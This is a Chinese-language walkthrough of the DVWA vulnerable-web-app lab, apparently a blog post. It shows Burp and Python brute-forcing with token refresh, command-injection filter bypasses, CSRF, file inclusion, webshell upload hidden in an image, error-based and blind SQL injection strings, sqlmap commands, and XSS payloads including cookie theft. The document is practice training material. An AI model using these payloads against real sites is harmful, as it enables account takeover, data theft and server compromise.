DVWA靶场通关

Brute Force(暴力破解)

low

思路:使用burp进行简单的暴力破解,默认用户名是admin,当然也可以爆破

步骤:先抓到包,发送到intruder爆破模块

选好攻击类型,若已知用户名使用狙击手模式就好,添加好payload位置

两个payload位置选好相应的字典,就直接开始攻击

一般的题都是根据返回包的长度判断是否登陆成功,不过这个好像是有点问题,总之账号密码分别为admin password,把包发送到重放器,可以看到登陆成功

Medium

思路:只是过滤了一些转义字符,仍然可以用low的方法爆破

步骤:抓包,改payload爆破位置,加载字典,开始攻击,正确密码的包发到重放器看看,登陆成功

High

思路:可以看到多了一个token选项,每次发包都会刷新,所以我们需要让每次刷新token也跟着刷新,使用bp伪造或者python脚本

步骤:这里方便直接使用python脚本,把header头按照自己的抓包结果写好,配置一下字典路径,就可以开始爆破了,发现就一个包长度不一样,登陆成功

from bs4 import BeautifulSoup
import requests

header = {'Host': 'dvwa',
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0',
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
          'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
          'Referer': 'http://dvwa/vulnerabilities/brute/',
          'cookie': 'security=high; PHPSESSID=lo59lphrl9diqklsbh9bh2cgpj',
          'Connection': 'close',
          'Upgrade-Insecure-Requests': '1'
         }
requrl = "http://127.0.0.1/vulnerabilities/brute/"


def get_token(requrl, header):
    response = requests.get(url=requrl, headers=header)
    print(response.status_code, len(response.content))
    soup = BeautifulSoup(response.text, "html.parser")
    input = soup.form.select("input[type='hidden']")  # 返回的是一个list列表
    user_token = input[0]['value']  # 获取用户的token
    return user_token


user_token = get_token(requrl, header)
i = 0
for line in open("最好的密码100.txt"):
    requrl = "http://127.0.0.1/vulnerabilities/brute/?username=admin&password=" + line.strip() + "&Login=Login&user_token=" + user_token
    i = i + 1
    print(i, 'admin', line.strip(), end="  ")
    user_token = get_token(requrl, header)
    if (i == 100):
        break

Command Injection(命令注入)

low

思路:简单命令拼接

步骤:输入127.0.0.1测试,发现执行了ping命令,可以进行命令拼接

使用&或者分号进行命令拼接,输入127.0.0.1&whoami,得到回显当前用户,命令成功执行

Medium

思路:过滤了两个字符,还是简单的命令拼接

步骤:使用&进行命令拼接,输入127.0.0.1&whoami,得到回显,命令成功执行

High

思路:查看源码发现黑名单过滤了很多符号,可以使用 ||管道符进行命令拼接

步骤:测试发现管道符||也被过滤,直接被替换为空,但是如果我们在||前后都加上空格,即输入 127.0.0.1 || whoami 则不会被替换,从而绕过限制

CSRF(跨站请求伪造)

low

思路:get型传参,构造url修改参数值

步骤:首先修改密码,显示密码已更改,url地址栏里直接显示了我们修改的密码

然后复制url,直接修改密码,这里改为123,看到密码已经修改了(这里有cookie限制不能复制到别的浏览器改了,知道csrf怎么用就行)

验证是否修改成功,点击测试登陆,输入刚修改的用户名,显示登陆成功

Medium

思路:抓包修改请求头

步骤:按照low的方法修改,发现提示请求不对

抓包观察发现在界面上直接更改时有referer参数,但是复制url重新改时没有了。我们只需把referer参数参数重新添加上再放包就能修改成功了

添加referer参数

测试,登陆成功

High

思路:这关的cookie会变,所以我们需要先利用DOM型的xss获取cookie,然后抓包替换cookie并修改密码

步骤:先利用xss语句获取用户cookie

French#<script>alert(document.cookie)</script>

然后抓包对cookie和密码进行修改,放包,修改成功

File Inclusion(文件包含)

low

思路:利用文件包含漏洞实现任意文件读取

步骤:我们先在d盘下创建一个1.txt文件,写上 hello ctf,再直接构造url利用文件包含漏洞读取,读取成功

Medium

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

思路:过滤了地址上传文件和相对路径,使用绝对路径传参

步骤:和low一样,直接使用绝对路径访问在d盘下的1.txt文件

High

if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

思路:要求file开头,使用file函数读取文件

File Upload(文件上传)

low

没有任何过滤,直接上传一句话木马就可以连接成功

Medium

思路:后端对文件的mime类型做了限制,抓包修改Content-type字段的值即可绕过限制

步骤:抓包,将Content-type字段的值为image/jpeg,上传成功,根据回显的路径蚁剑连接,连接成功

High

思路:审计源码发现文件类型必须是png或jpg并且文件不能大于100kb,使用一张小图片加上一句话木马即可上传成功,然后利用文件包含漏洞解析

步骤:使用copy命令将一句话木马插入图片,上传成功后利用文件包含漏洞解析图片马,图片被解析,说明上传成功

SQL Injection(sql注入)

low

思路:没有什么绕过,简单get型注入,可以使用联合注入或报错注入

步骤:随便输入发现id是查询参数,

测试注入闭合类型,发现是单引号闭合,构造永真语句就可以得到所有用户名了

使用基础的语句得到数据库名,表名,字段名等,payload如下:

爆数据库:1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#   
爆表名:1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   
爆字段名:1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#

Medium

思路:同样没有什么绕过,post型注入,有报错回显,可以使用联合注入或报错注入

步骤:抓包,在id处写入报错注入语句,成功得到表名

High

思路:没有什么绕过,报错回显固定,不能加以利用了,只能使用联合注入

步骤:使用基本的联合注入

SQL Injection (Blind)(sql盲注)

low

思路:sql盲注,直接使用sqlmap梭

步骤:带上cookie,不然会有重定向,默认应答,爆破数据库

python sqlmap.py -u "http://dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=0gr4a8ft3i0cs8l4v9oi13ecg7; security=low" --batch --technique=B  --dbs

Medium

python sqlmap.py -r url.txt --level 5 --risk 3 --dbs --tables --batch

High

思路:这关只能老老实实进行盲注,因为是两个页面,并且cookie会变化,sqlmap无法进行注入,正常盲注步骤就能注入成功

步骤:先判断注入类型,再猜测数据库长度,数据表个数,数据表长度等等,比较复杂

猜测不对返回

猜测正确返回

判断数据库长度:1' and length(database())=4#
依次猜出库名:1' and ascii(substr(database(),1,1))=100 #
1' and ascii(substr(database(),2,1))=118 #
1' and ascii(substr(database(),3,1))=119 #
1' and ascii(substr(database(),4,1))=97 #
判断表的个数:1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
后面同理,就不一一列举了

xss(DOM)

low

思路:直接修改default的值就能弹框

步骤:在default参数处使用最基础的payload就能弹提示框

<script>alert('XSS');</script>

Medium

思路:先闭合起前面的标签,再插入xss弹窗语句

步骤:在default参数处闭合起前面的<select>标签,再使用正常的payload就能弹提示框

</select><img src=x onerror=alert('XSS')>

High

思路:DOM不和后端的服务期进行交互,而是利用DOM解析树,使得注释符后面的语句仍然能被执行。这里的语言也不能删除,因为后台有白名单限制

步骤:先绕过白名单,再写入xss语句,刷新就会弹框

French#<script>eval('alert("XSS")');</script>

xss(Reflected)

low

步骤:在提示框中使用最基础的payload就能弹提示框

<script>alert('XSS');</script>

Medium

思路:script标签被过滤了,使用html标签绕过

步骤:写入img标签实现绕过

<img src=x onerror=alert('XSS')>

High

思路:script标签被过滤了,比上一关过滤的更加严格了,仍然使用html标签绕过

步骤:写入img标签实现绕过

<img src=x onerror=alert('XSS')>

xss(Stored)

low

步骤:在留言板中使用最基础的payload就能弹提示框

Medium

思路:xss注入点在name表单,发现有输入字符长度限制,修改前端界面,进行注入

步骤:先修改最大长度为大于30的数,然后写入xss语句

<img src=x onerror=alert('XSS')>

High

思路:与上一关一模一样,先修改长度,再写入注入语句

步骤:先修改最大长度为大于30的数,然后写入xss语句

<img src=x onerror=alert('XSS')>

  • 6
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值